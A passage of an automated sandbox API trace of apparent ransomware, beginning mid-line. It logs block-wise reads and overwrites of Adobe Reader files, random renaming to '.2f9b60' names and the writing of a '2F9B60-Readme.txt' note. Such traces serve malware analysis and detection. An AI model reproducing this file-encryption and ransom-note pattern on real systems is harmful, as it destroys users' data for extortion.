Seed=0x354af5d0) returned 0x21d29e7d [0151.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205000b0 [0151.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0151.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205000e0 [0151.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0151.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500080) returned 1 [0151.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffea0) returned 1 [0151.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4255b5c0 [0151.804] SetFilePointerEx (in: hFile=0x2580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.804] ReadFile (in: hFile=0x2580, lpBuffer=0x4255b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x354af640, lpOverlapped=0x0 | out: lpBuffer=0x4255b5c0*, lpNumberOfBytesRead=0x354af640*=0x3c00, lpOverlapped=0x0) returned 1 [0151.846] SetFilePointerEx (in: hFile=0x2580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a10 [0151.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0151.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205001d0 [0151.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205001d0) returned 1 [0151.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42572110 [0151.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205001d0 [0151.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500260 [0151.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500260) returned 1 [0151.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0151.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a10) returned 1 [0151.848] WriteFile (hFile=0x2580, lpBuffer=0x42572110, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x354af640, lpOverlapped=0x0) [0186.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42572110) returned 1 [0186.758] SetFilePointerEx (in: hFile=0x2580, liDistanceToMove=0xac800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.758] ReadFile (in: hFile=0x2580, lpBuffer=0x4255b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x354af640, lpOverlapped=0x0 | out: lpBuffer=0x4255b5c0*, lpNumberOfBytesRead=0x354af640*=0x3c00, lpOverlapped=0x0) returned 1 [0190.673] SetFilePointerEx (in: hFile=0x2580, liDistanceToMove=0xac800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431390a0 [0190.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431390a0) returned 1 [0190.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42de8970 [0190.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431390a0 [0190.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431390d0 [0190.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431390d0) returned 1 [0190.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.678] WriteFile (in: hFile=0x2580, lpBuffer=0x42de8970*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x354af640, lpOverlapped=0x0 | out: lpBuffer=0x42de8970*, lpNumberOfBytesWritten=0x354af640*=0x3c00, lpOverlapped=0x0) returned 1 [0205.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42de8970) returned 1 [0205.623] SetFilePointerEx (in: hFile=0x2580, liDistanceToMove=0x151200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.623] ReadFile (in: hFile=0x2580, lpBuffer=0x4255b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x354af640, lpOverlapped=0x0 | out: lpBuffer=0x4255b5c0*, lpNumberOfBytesRead=0x354af640*=0x3c00, lpOverlapped=0x0) returned 1 [0205.624] SetFilePointerEx (in: hFile=0x2580, liDistanceToMove=0x151200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc0b0 [0205.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc0b0) returned 1 [0205.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42de8970 [0205.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc0b0 [0205.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8f0 [0205.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8f0) returned 1 [0205.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.629] WriteFile (in: hFile=0x2580, lpBuffer=0x42de8970*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x354af640, lpOverlapped=0x0 | out: lpBuffer=0x42de8970*, lpNumberOfBytesWritten=0x354af640*=0x3c00, lpOverlapped=0x0) returned 1 [0215.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42de8970) returned 1 [0215.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105830 [0215.106] SetFilePointerEx (in: hFile=0x2580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.106] WriteFile (in: hFile=0x2580, lpBuffer=0x430bd640*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x354af6f0, lpOverlapped=0x0 | out: lpBuffer=0x430bd640*, lpNumberOfBytesWritten=0x354af6f0*=0x14c, lpOverlapped=0x0) returned 1 [0218.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0218.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb2a0 [0218.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb2a0) returned 1 [0218.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cddb2a0 [0218.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb270 [0218.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb1b0 [0218.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb1b0) returned 1 [0218.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0218.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431adca0 [0218.955] sprintf (in: _Dest=0x431adca0, _Format="%c%c" | out: _Dest="9c") returned 2 [0218.955] sprintf (in: _Dest=0x431adca2, _Format="%c%c" | out: _Dest="c1") returned 2 [0218.955] sprintf (in: _Dest=0x431adca4, _Format="%c%c" | out: _Dest="c1") returned 2 [0218.955] sprintf (in: _Dest=0x431adca6, _Format="%c%c" | out: _Dest="b4") returned 2 [0218.955] sprintf (in: _Dest=0x431adca8, _Format="%c%c" | out: _Dest="ea") returned 2 [0218.955] sprintf (in: _Dest=0x431adcaa, _Format="%c%c" | out: _Dest="01") returned 2 [0218.955] sprintf (in: _Dest=0x431adcac, _Format="%c%c" | out: _Dest="d6") returned 2 [0218.955] sprintf (in: _Dest=0x431adcae, _Format="%c%c" | out: _Dest="c2") returned 2 [0218.955] sprintf (in: _Dest=0x431adcb0, _Format="%c%c" | out: _Dest="93") returned 2 [0218.955] sprintf (in: _Dest=0x431adcb2, _Format="%c%c" | out: _Dest="81") returned 2 [0218.955] sprintf (in: _Dest=0x431adcb4, _Format="%c%c" | out: _Dest="1e") returned 2 [0218.956] sprintf (in: _Dest=0x431adcb6, _Format="%c%c" | out: _Dest="de") returned 2 [0218.956] sprintf (in: _Dest=0x431adcb8, _Format="%c%c" | out: _Dest="d8") returned 2 [0218.956] sprintf (in: _Dest=0x431adcba, _Format="%c%c" | out: _Dest="54") returned 2 [0218.956] sprintf (in: _Dest=0x431adcbc, _Format="%c%c" | out: _Dest="10") returned 2 [0218.956] sprintf (in: _Dest=0x431adcbe, _Format="%c%c" | out: _Dest="da") returned 2 [0218.956] sprintf (in: _Dest=0x431adcc0, _Format="%c%c" | out: _Dest="07") returned 2 [0218.956] sprintf (in: _Dest=0x431adcc2, _Format="%c%c" | out: _Dest="b7") returned 2 [0218.956] sprintf (in: _Dest=0x431adcc4, _Format="%c%c" | out: _Dest="c7") returned 2 [0218.956] sprintf (in: _Dest=0x431adcc6, _Format="%c%c" | out: _Dest="3d") returned 2 [0218.956] sprintf (in: _Dest=0x431adcc8, _Format="%c%c" | out: _Dest="51") returned 2 [0218.956] sprintf (in: _Dest=0x431adcca, _Format="%c%c" | out: _Dest="93") returned 2 [0218.956] sprintf (in: _Dest=0x431adccc, _Format="%c%c" | out: _Dest="ce") returned 2 [0218.956] sprintf (in: _Dest=0x431adcce, _Format="%c%c" | out: _Dest="c4") returned 2 [0218.956] sprintf (in: _Dest=0x431adcd0, _Format="%c%c" | out: _Dest="36") returned 2 [0218.956] sprintf (in: _Dest=0x431adcd2, _Format="%c%c" | out: _Dest="db") returned 2 [0218.956] RtlInitAnsiString (in: DestinationString=0x354af768, SourceString="9cc1c1b4ea01d6c293811eded85410da07b7c73d5193cec436db" | out: DestinationString="9cc1c1b4ea01d6c293811eded85410da07b7c73d5193cec436db") [0218.956] RtlAnsiStringToUnicodeString (in: DestinationString=0x354af738, SourceString="9cc1c1b4ea01d6c293811eded85410da07b7c73d5193cec436db", AllocateDestinationString=1 | out: DestinationString="9cc1c1b4ea01d6c293811eded85410da07b7c73d5193cec436db") returned 0x0 [0218.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79ddf0 [0218.957] wcscat (in: _Dest=0x4315e9e0, _Source="9cc1c1b4ea01d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\9cc1c1b4ea01d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\9cc1c1b4ea01d" [0218.957] wcscat (in: _Dest=0x4315e9e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\9cc1c1b4ea01d.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\9cc1c1b4ea01d.2f9b60" [0218.957] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\9cc1c1b4ea01d.2f9b60", NtPathName=0x354af710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\9cc1c1b4ea01d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310c8c0 [0222.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c8c0) returned 1 [0222.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43079a40) returned 1 [0222.195] NtQueryInformationFile (in: FileHandle=0x2580, IoStatusBlock=0x354af778, FileInformation=0x354af788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x354af778, FileInformation=0x354af788) returned 0x0 [0222.195] NtSetInformationFile (FileHandle=0x2580, IoStatusBlock=0x354af778, FileInformation=0x354af788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4315e9e0) returned 1 [0223.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0223.233] FlushFileBuffers (hFile=0x2580) returned 1 [0224.001] CloseHandle (hObject=0x2580) returned 1 [0224.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac420 [0224.885] wcscpy (in: _Dest=0x202ac420, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\" [0224.885] wcscat (in: _Dest=0x202ac420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\2F9B60-Readme.txt" [0224.885] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\2f9b60-readme.txt")) returned 0xffffffff [0224.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dfc [0225.824] WriteFile (in: hFile=0x2dfc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x354af630, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x354af630*=0xba9, lpOverlapped=0x0) returned 1 [0226.287] CloseHandle (hObject=0x2dfc) returned 1 [0229.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac420) returned 1 [0229.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1b90) returned 1 [0229.722] FindNextFileW (in: hFindFile=0x1ced6100, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="ADMPLU~1.APL")) returned 0 [0229.722] FindClose (in: hFindFile=0x1ced6100 | out: hFindFile=0x1ced6100) returned 1 [0229.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd633e0) returned 1 [0229.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060db0) returned 1 [0229.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 Thread: id = 2058 os_tid = 0x1328 [0138.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060e30 [0138.018] wcscpy (in: _Dest=0x42060e30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0138.018] wcscat (in: _Dest=0x42060e30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0138.018] wcscat (in: _Dest=0x42060e30, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*" [0138.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd627b0 [0138.018] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*", lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6160 [0138.021] wcscmp (_String1=".", _String2=".") returned 0 [0138.021] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.025] wcscmp (_String1="..", _String2=".") returned 1 [0138.025] wcscmp (_String1="..", _String2="..") returned 0 [0138.026] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1 [0138.026] wcscmp (_String1="add_reviewer.gif", _String2=".") returned 1 [0138.026] wcscmp (_String1="add_reviewer.gif", _String2="..") returned 1 [0138.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1370 [0138.026] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0138.026] wcscat (in: _Dest=0x202b1370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0138.026] wcscat (in: _Dest=0x202b1370, _Source="add_reviewer.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" [0151.821] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif")) returned 0x20 [0151.873] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif", dwFileAttributes=0x20) returned 1 [0151.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2598 [0151.874] GetFileSizeEx (in: hFile=0x2598, lpFileSize=0x3559f8a0 | out: lpFileSize=0x3559f8a0*=1338) returned 1 [0151.874] SetFilePointerEx (in: hFile=0x2598, liDistanceToMove=0x536, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.875] ReadFile (in: hFile=0x2598, lpBuffer=0x3559f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3559f868, lpOverlapped=0x0 | out: lpBuffer=0x3559f820*, lpNumberOfBytesRead=0x3559f868*=0x4, lpOverlapped=0x0) returned 1 [0151.893] SetFilePointerEx (in: hFile=0x2598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500290 [0151.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205002f0 [0151.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500380 [0151.893] NtQuerySystemTime (in: CurrentTime=0x3559f760 | out: CurrentTime=0x3559f760*=132462177570994000) returned 0x0 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x213d179 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x29ecddd2 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x639e70b9 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x60acec56 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x7645da1f [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x1f320565 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x62b78b49 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x745658f3 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x30681463 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x4a4d067a [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x1f5b18ce [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x3cd8856a [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x6df66f43 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x5593b803 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x64ca6cb4 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x120f6349 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x3989978a [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0xb677314 [0151.893] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x477d46e5 [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x74535807 [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x755243df [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x5ee806f1 [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x717dcba0 [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0xad786cc [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x79deb55 [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x5ebdf723 [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x1da418cc [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x45e572f2 [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0xee02be6 [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0xed55f12 [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x966625d [0151.894] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x527ae74 [0151.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205003b0 [0151.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0151.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205003e0 [0151.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0151.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500380) returned 1 [0151.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500290) returned 1 [0151.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a60 [0151.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0151.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500290 [0151.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500290) returned 1 [0151.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42581150 [0151.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42584d60 [0151.909] ReadFile (in: hFile=0x2598, lpBuffer=0x42581150, nNumberOfBytesToRead=0x53a, lpNumberOfBytesRead=0x3559f750, lpOverlapped=0x0 | out: lpBuffer=0x42581150*, lpNumberOfBytesRead=0x3559f750*=0x53a, lpOverlapped=0x0) returned 1 [0151.909] SetFilePointerEx (in: hFile=0x2598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.909] WriteFile (hFile=0x2598, lpBuffer=0x42584d60, nNumberOfBytesToWrite=0x53a, lpNumberOfBytesWritten=0x3559f754, lpOverlapped=0x0) [0186.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9710 [0186.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9740 [0186.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9740) returned 1 